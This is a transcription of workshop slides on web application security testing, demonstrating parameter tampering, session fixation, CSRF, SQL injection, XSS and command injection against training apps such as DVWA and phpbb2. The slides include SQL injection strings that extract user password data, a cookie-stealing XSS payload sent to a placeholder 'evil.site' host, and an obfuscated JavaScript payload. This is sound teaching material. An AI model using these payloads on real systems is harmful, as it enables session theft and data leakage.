Testnet Summerschool. Web Application Security Testing. Dave van Stein



Similar documents
The Top Web Application Attacks: Are you vulnerable?

(WAPT) Web Application Penetration Testing

Essential IT Security Testing

Web Application Penetration Testing

Where every interaction matters.

Using Free Tools To Test Web Application Security

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Web application security

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Web Application Report

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Hack Proof Your Webapps

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Rational AppScan & Ounce Products

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

What is Web Security? Motivation

Chapter 1 Web Application (In)security 1

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Web Security Testing Cookbook*

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

Six Essential Elements of Web Application Security. Cost Effective Strategies for Defending Your Business

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Integrating Security Testing into Quality Control

Application security testing: Protecting your application and data

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Web-Application Security

Criteria for web application security check. Version

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

OWASP Top Ten Tools and Tactics

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Testing the OWASP Top 10 Security Issues

METHODS TO TEST WEB APPLICATION SCANNERS

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

List of Scanner Features (3 of 3)

HackMiami Web Application Scanner 2013 PwnOff

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Web Vulnerability Scanner by Using HTTP Method

Magento Security and Vulnerabilities. Roman Stepanov

Detecting and Defending Against Security Vulnerabilities for Web 2.0 Applications

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Enterprise Application Security Workshop Series

Application Security Testing. Generic Test Strategy

Software Assurance Tools: Web Application Security Scanner Functional Specification Version 1.0

Data Breaches and Web Servers: The Giant Sucking Sound

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

With so many web applications, universities have a huge attack surface often without the IT security budgets or influence to back it up.

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Threat Modeling/ Security Testing. Tarun Banga, Adobe 1. Agenda

OWASP AND APPLICATION SECURITY

Last update: February 23, 2004

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Check list for web developers

Cloud Security:Threats & Mitgations

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Web Application Security

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Web Application Security Considerations

Cyber Security Workshop Ethical Web Hacking

Lecture 11 Web Application Security (part 1)

A Network Administrator s Guide to Web App Security

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Secure Web Development Teaching Modules 1. Security Testing. 1.1 Security Practices for Software Verification

WEB APPLICATION SECURITY

HTTPParameter Pollution. ChrysostomosDaniel

Security Testing Tools

Mean Time to Fix (MTTF) IT Risk s Dirty Little Secret Joe Krull, CPP, CISSP, IAM, CISA, A.Inst.ISP, CRISC, CIPP

Web Application Attacks And WAF Evasion

Web Application Vulnerability Testing with Nessus

Web Application Guidelines

elearning for Secure Application Development

Web application testing

STOPPING LAYER 7 ATTACKS with F5 ASM. Sven Müller Security Solution Architect

Secure Web Development Teaching Modules 1. Threat Assessment

Attack and Penetration Testing 101

Arrow ECS University 2015 Radware Hybrid Cloud WAF Service. 9 Ottobre 2015

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

Project 2: Web Security Pitfalls

Auditing Web Applications

Application Code Development Standards

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

Adding Value to Automated Web Scans. Burp Suite and Beyond

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

Web Application Security

Hacking for Fun and Profit

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Transcription:

Testnet Summerschool Web Application Security Testing Dave van Stein

Welcome

Your coach for today Dave van Stein Security Consultant Web Application Penetration Tester

Purpose of today s workshop Creating awareness What is web application security Understand some major vulnerabilities in web apps Parameter tampering Session management Injection issues Learn how to detect & exploit these Current state of web application security How to test for web application security Next steps on your road

Audience We suppose you have Some experience with testing: functional testing, performance testing... No or little experience with security testing Basic knowledge of web application technology Web application tiers, proxy servers HTTP: requests, cookies, status codes HTML JavaScript SQL

Agenda Block 1 13:45 15:15 Coffee break 15:15 15:30 Block 2 15:30 17:00

Agenda: Block 1 Introduction to web application security The testing environment Burp Suite Pro Damn Vulnerable Web Application phpbb2 Demonstrations Parameter Tampering Session Management Cross-site request Forgery

Agenda: Block 2 Demonstrations SQL Injection (SQLi) Cross-site scripting (XSS) Command Injection Final presentation State of Web Application Security Application security from <> Perspectives The application security testers mindset An approach to WAST Automated testing How to continue from here

This is what your application was supposed to do, but doesn t! Functional bugs Functionality <> Application security The system that was tested The system as developed The system as designed This is what your application can do, but you re not aware of! Security flaws

How users look at web apps

How users look at web apps Authentication File server Functional bugs Database server User Application server The origin of the problem does not matter Access control Mail server Web services

What web applications look like

How attackers look at web apps

How attackers look at web apps Bypass Path traversal Forged token SQL injection Session fixation XSS Authentication File server CSRF User JSON hijacking Misleading users Command injection Application server Logic flaws Direct object ref. Access control Submitting arbitrary Database data server XML injection Mail injection Mail server Remark: This picture represents only a fraction of attack categories Web services

This breaks basic security rules Stealing accounts & passwords session ids identity information credit card numbers secret & confidential business data... Manipulating data (bank transfers) source (user, action) systems... Destroying, exhausting data (deleting) application (memory, defacing) services systems (take over)...

Web application security Not about network security Firewalls IDS/IPS Hosts, operating systems, servers, middleware Network infrastructure: routers, switches... Patching of system software Malware prevention and removal All these are extemely vital Web application security is build on top of that

Web application security Web Application Security HTML JavaScript Applets Browser Plugins HTTP(S) Application & Services Web Server App Server DB Server Web Application Security Infrastructure Security Client OS Host OS Infrastructure Security Network equipment

Mostly misunderstood

Damn Vulnerable Web Application Brute Force accounts Command Injection Cross-site Request Forgery File Inclusion SQL Injection Insecure Uploads Cross-site scripting Session Hijacking

phpbb2 Version 2.0.0 (2001); no vulnerabilities added! Cross-site scripting SQL Injection Session Hijacking Session Fixation Authentication Bypass Privilege Escalation Cross-site Request Forgery Insecure Redirect HTTP Header Injection Remote Code Execution

Client side Parameter tampering Under your control JavaScript, ActiveX, Applet, plugin

Testing Tool: browser Firefox with add-ons: Web developer : show/edit structure of website Hackbar : quick request tampering

Intercepting proxy Intercepting proxy

Testing Tool: local proxy Burp Suite Professional Local proxy, Man-in-the-middle Intercepts all requests and responses Allows for analysis and editing

Intercepting proxy

Parameter Tampering

Parameter Tampering Cause Not validating request parameters on server-side Attack mechanism Tampering client-side parameters Direct consequence Abuse of functionality Collateral damage Loss of profit, hosting malicious software

Upload any! file > 100 kb low

Upload non image file Medium

Session Management

Authentication basics credentials response request This should be done for every Solution: session tokens request; not user friendly!

Session management Web applications needs to keep track of states of users Problem: Application needs a user state, but HTTP is stateless protocol How?: By implementing Session Management Server creates unique identifier for each client Client sents identifier with each request

Session management basics credentials response request

Demonstration: Session Hijacking And Fixation

Session hijacking Cause Session tokens are not uniquely linked to client Attack mechanism Use known valid session token Direct consequence Logging in without credentials Collateral damage Unauthorized access to application

Session hijacking When and Ted she So Alice and disguises she opens can wants knows his sends creates access ticket the the to it Ted it the interesting ticket application of to access as is malicious being logged Ted something link, to an sent with the into to the script webserver same becomes Alice script interesting the application she is active but authorizations automatically has no as Ted authenticated credentials Vulnerable application Alice Malicious User Trusted TedUser

Session fixation Cause Session tokens are not reset after authentication Attack mechanism Trick user in using a URL with fixed session token Direct consequence Session Hijacking possible Collateral damage Unauthorized access to application

Session fixation When sends Alice a request sends the When Alice containing known, So Ted and she wants Ted sends she Alice creates now disguises and opens can the to knows his sends blank access a the link it Ted it interesting an ticket credentials authenticated, to to as is application allowed something Ted link, and but ticket with the to and has is log redirected no application blank to the hides the credentials same ticket interesting a web-server into blank to the and becomes the is she application asked authenticated is authorizations ticket automatically application in authenticate it as Ted himself authenticated Vulnerable application TICKET TICKET Malicious Alice User Trusted Ted User

Demonstration in phpbb 2 browsers, cookie manager, local proxy Log in the application, log off again identify newly issued sessionid Construct URL containing new session id http://localhost/phpbb2/login.php?sid=<token> Open URL in second browser and log in as admin Refresh page in first browser and observe what happened

Cross-site Request Forgery Cause Only predictable parameters in requests Attack mechanism Direct link to functionality executed by victim Direct consequence CSRF allows attackers to use a victim s authorisation to execute a function Collateral damage Can be automated when combined with XSS More on that this afternoon

Cross-site request forgery Ted But And and Alice disguises trusts she finds found unwillingly knows has creates lacks access the a ways it that process as link and Ted to to something Alice authorization has get unknowingly she application the the process can sent disguised proper do him interesting Evil Xincluding activates to and that with. link clicks process authorization to the all Ted parameters Evil the link action with his own authorizations Vulnerable application Malicious Alice User Trusted Ted User

Agenda: Block 2 Demonstrations SQL Injection (SQLi) Cross-site scripting (XSS) Command Injection Final presentation State of Web Application Security Application security from <> Perspectives The application security testers mindset An approach to WAST Automated testing How to continue from here

First Mentions of XSS and SQLi Cross-site Scripting SQL Injection

SQL Injection

SQL injection Very old vulnerability but still very common nowadays Trusting user input; using unfiltered, unsanitized user input Several subtypes: Error based Boolean (half blind) Time-based (full blind)

Cause SQL Injection Trusting user input; using unfiltered, unsanitized user input Attack mechanism Injecting SQL commands in input fields or parameters Direct consequence Server-side execution of SQL commands Collateral damage Loss of CIA, hosting malicious software, data leakage

SQL Injection example User: Password: $user $password Web application dynamically constructs SQL statement and sends it to database: Select * from users where user = $user and password = $password

SQL Injection example Result from query is used in response $user / $password valid (result is returned) You have successfully logged in! $user / $password invalid (no result returned) Username / password invalid!

SQL Injection example $user = OR 1 = 1 /* $password = <empty> (for MySQL) Web application constructs SQL statement: Select * from users where user = OR 1 = 1 /* and password = Database treats this as Select * from users where user = OR 1 = 1 /* and password = Always True first user is selected (usually admin or root user)

SQL Injection in DVWA low 2 11 ' '' 2' AND 1=1 2' AND 1=1 /* 2' AND 1=2 /* 2' OR 1=1 /*

Demonstration in phpbb Find number of fields in quey with ORDER BY: &p=1 ORDER BY 1 /* Increase value until no results are returned (= error in query) => 31 in phpbb Identify location of fields with UNION SELECT 1,2,3... p=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22,23,24,25,26,27,28,29,30,31 /* => 1,3,21,31,17 in phpbb

Demonstration in phpbb Retrieve username / password &p=-1 UNION SELECT username,2,user_password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1 9,20,21,22,23,24,25,26,27,28,29,30,31 from phpbb_users where user_id=<value>/* Retrieve MySQL version &p=-1 UNION SELECT unhex(hex(@@version)), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, 27,28,29,30,31/* Retrieve database name &p=-1 UNION SELECT unhex(hex(user())), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, 27,28,29,30,31/* Retrieve database user &p=-1 UNION SELECT unhex(hex(database())), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, 27,28,29,30,31/*

Cross-site Scripting (XSS)

Cross-site scripting (XSS) Most common vulnerability nowadays 75% - 97% of web applications have issues Trusting user input; using unfiltered, unsanitized user input Several sub-types: Persistent XSS Reflective XSS DOM based XSS

Cause Cross-site scripting Trusting user input; using unfiltered, unsanitized user input Attack mechanism Injecting javascript in input fields or parameters Direct consequence Client-side execution of javascript Collateral damage Session hijacking, CSRF, malware infection

Let s talk XSS

Famous worms 2005 2007 2010 14 minutes

XSS example Search: $input <HTML> Your search for $input gave the following results: </HTML>

XSS example $input = Test Your search for Test gave the following results: $input = <b>test</b> Your search for Test gave the following results:

XSS example $input = <script>alert( Evil Script )</script> Your search for gave the following Evil Script results: OK

Persistent Cross-site Scripting The And At and Now Alice some script the found she has server point waits is a sent way in. to becomes time to designed Ted s hide Ted browser it visits in an a and compromised the page Evil gets page on script the where she or executed data Alice webserver wants is placed stolen have the script executed by another user Vulnerable application Malicious Alice User Trusted Ted User

Reflective Cross-site Scripting Ted The And But She Alice where and application this the finds has triggered disguises it server time gets a way she by to executed the accepts becomes embeds it send designed as interesting something the the an his hidden link browser and script compromised interesting Evil clicks and script a it embeds URL link she or to it data Ted wants in the is stolen response have sent (news-site, executed back by to forum, Ted mail) another user Vulnerable application Malicious Alice User Trusted Ted User

Exercise: Stored XSS in DVWA low

Reflective XSS in DVWA low

XSS as an attack vector Cross-site scripting is often used as an attack vector for other attacks: Defacement <body onload= http://evil.site > Session hijacking <iframe src="javascript:document.location('http://evil.site/catch.php?cookie='+document.cookie);"> Cross-site request forgery <IMG src= http://vulnerable.site/authorized_function />

Do you see the problem?

Javascript obfuscation Classic Alert(1) URL encode %61%6c%65%72%74%28%31%29 Charcode eval(string.fromcharcode(97,108,101,114,11 6,40,49,41))

This is valid javascript! (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]] +(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(! +[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+! +[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+! +[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(! []+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[ +!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[ ])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+! +[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[] ]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[] [[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[ ]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+ []+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(! +[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]) [!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+ []]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[ +!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![ ]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+ (!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+! +[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+ []+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]] +(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[ ]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[] +[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!! []+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[] +!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()

How?? Javascript allows dynamic allocation Javascript allows dynamic conversion (number -> string, etc) Javascript does best effort execution [] : array +[] = 0 +!+[] = 1 +!+[] + +!+[] = 2 etc [+[]] : first value in array (js arrays start at 0)![] = false (as boolean value)![] +[] = false (but now converted to text) (![] +[])[] => value false is converted to text and put in array (![] +[])[+!+[]] = a (![] +[])[+!+[] + +!+[] ] = l (![] +[])[+!+[] + +!+[] + +!+[] + +!+[] ] = e etc etc Other errors: true, undefined, etc

Command Injection

Command Injection Cause Using unfiltered, unsanitised user input Attack mechanism Supplying executable operating system commands Direct consequence Uncontrolled execution of system commands Collateral damage Loss of control

Command injection in DVWA low

Web Application Security Testing

Web Application Security Testing Application security from <> Perspectives State and misconceptions of Web Application Security The application security testers mindset An approach to WAST How to continue from here

Tao: yin & yang Functionality Application security

Development perspective Functionality What an application should do Driven by use Conditions, capabilities and boundaries are determined Application security What an application should prevent to do Driven by abuse Conditions, capabilities and boundaries are unrestricted Example Only when logged in as administrator one can perform administrative functions Example How should the application prevent an escalation of privileges attack? Developing defined conditions is controllable, but what about developing all other conditions?

Business perspective Functionality Explicitly defined Added value Defects related to mal-functioning non-conformance tolerance It s a business discipline tangible only the business knows Application security Implicitly assumed Cost Risks related to vulnerabilities protection/resistance level Is it really a business concern? not tangible others know better, they think Unfortunately, application security is perceived as something technical, not driven by business

Organisational perspective Functionality Implementation Developer concern Most developers are not security experts Developers rely on technology, network security and the security department to provide security We trust our user base Application security Implementation Security concern Most security experts are not developers Security staff relies on developers to develop secure code We defend against outside attackers, so we apply Strong authentication Encryption, SSL Firewalls, IDS/IPS Application security is mostly implemented outside the application.

Testing perspective Functionality Test basis business context requirements and specs Testability clear conditions -> coverage input -> expected result Retraceability to a specific functionality to a development artifact Testing QA department Application security Test basis threat context security measures Testability issue infinite conditions exploit -> input Retraceability issue to a certain functionality? to a security mechanism? Testing? department Testing within a clear context is pretty difficult, but what if there is no context at all?

Web applications are the main target Only first half of 2009! Source: Verizon 2010 World-wide survey on data breaches

The Old problems are still valid OWASP Top Ten (2010 Edition)

OWASP top 10 explained DESCRIPTION When are you vulnerable How to prevent Examples Background Information

How difficult or easy Source: Verizon 2010 World-wide survey on data breaches

1 + 1 > 2 Two low risk vulnerabilties Vulnerability 1: Application allows to store arbitrary javascript in a users display name that gets executed just after login Why resolving? You don t gonna hack yourself, aren t you? Vulnerability 2: A flaw in access control allows users to change the display name of other users That will be funny. I could call you beep. The result of both A hacker injected a simple javascript in the admin s display name that forwarded the admin s session id to the hacker. Subsequently, the hacker compromised the full system. Lesson learned here Most attacks combine the exploitation of several vulnerabilities Apply a defense-in-depth approach

Hackers: insiders? Source: Verizon 2010 World-wide survey on data breaches

Intranet web apps only accessible inside? Proxy accessible by the attacker XSS Anti-DNS pinning Intranet user DMZ Intranet

Result Gap in responsibilty Business: not feeling or willing to take responsibility Technical: development <> security department False sense of feeling secure Terror comes only from outside Infrastructure will sufficiently mitigate the risks Non-defensive application development approach Difficult to test the resistance against (known) attacks Lack of awareness The web wasn t designed to be secure Rapid evolving (insecure) web technologies Web enablement, open technologies Desktop like web applications (Ajax, RIA) Push for SaaS and cloud based services

Result The vast majority of web applications have serious security vulnerabilities Web application security is the weakest link within the security domain The situation is not improving Hackers gradually move up the stack

Solution Not enough time in this presentation But, you can start with Assessing the current situation in your environment Performing a pilot application security test Convincing management Creating awareness...

The tester mindset Functional tester Understand business Objectives Use cases Analytical skills Analyse within the defined functional context Focus is on use of functionality Apply structured techniques to derive test cases Detect defects Objective Satisfy business Application security tester Understand hackers & app sec Interests Attack patterns Associative skills Assess the whole application behaviour (open context) Focus is on abuse of the technical implementation of functionality Iterative approach: result of a test case is input for a future one (repeatability?) Find vulnerabilties, exploit these, perform a rating and formulate recommendations (expertise) Objective Frustrate hackers

Hacker <> App sec tester Hacker Approach Reconnaissance Detecting vulnerabilities Exploitation possibilities Preparing the attack Performing the attack Covering tracks Resources Plenty of time Lots of information sources Huge toolkit Objective Maximize profit Application security tester Approach Same but legal Resources Limited Expertise Effective approach Objective Maximize prevention

An approach to WAST Efficient Injections and checks in short time Scanning Don t stop here Not that effective Signature based Effective Human intelligence Manual testing Not that efficient Testing takes time Dig deep enough

An approach to WAST Source: The Web Application Hacker s Handbook

An approach to WAST

ps_testware s ExpertReview Document reviews Interviews Design flaws Qualitative Plan Risks & Actions Quantitative Testing Vulnerabilities Inspection

Security Testing - Tools 20,000 10,000 IBM Rational Appscan NTOSpider Cenzic Hailstorm HP Webinspect 3,000 200 0 Acunetix WVS Netsparker Pro Burp Suite Pro OWASP Zed Attack Proxy Cost ( ) Netsparker CE, Websecurify W3AF, Grendelscan OWASP Webscarab Various specific tools Burp suite free Tool collections: OWASP LiveCD, Samurai Web Testing Framework Automated Manual

Need more? Offline Hacking applications Foundstone HacMe series (production like applications) Mutillidea Online Web Hacking Labs http://www.hackthissite.org/ http://www.hackerslab.org/ http://www.hackertest.net/ etc... Demo Sites Acunetix http://testphp.vulnweb.com/ HP http://zero.webappsecurity.com/ IBM http://demo.testfire.net/ Cenzic http://crackme.cenzic.com/ NT Objectives http://www.webscantest.com/ Build your own lab with virtual machines

Literature

Q&A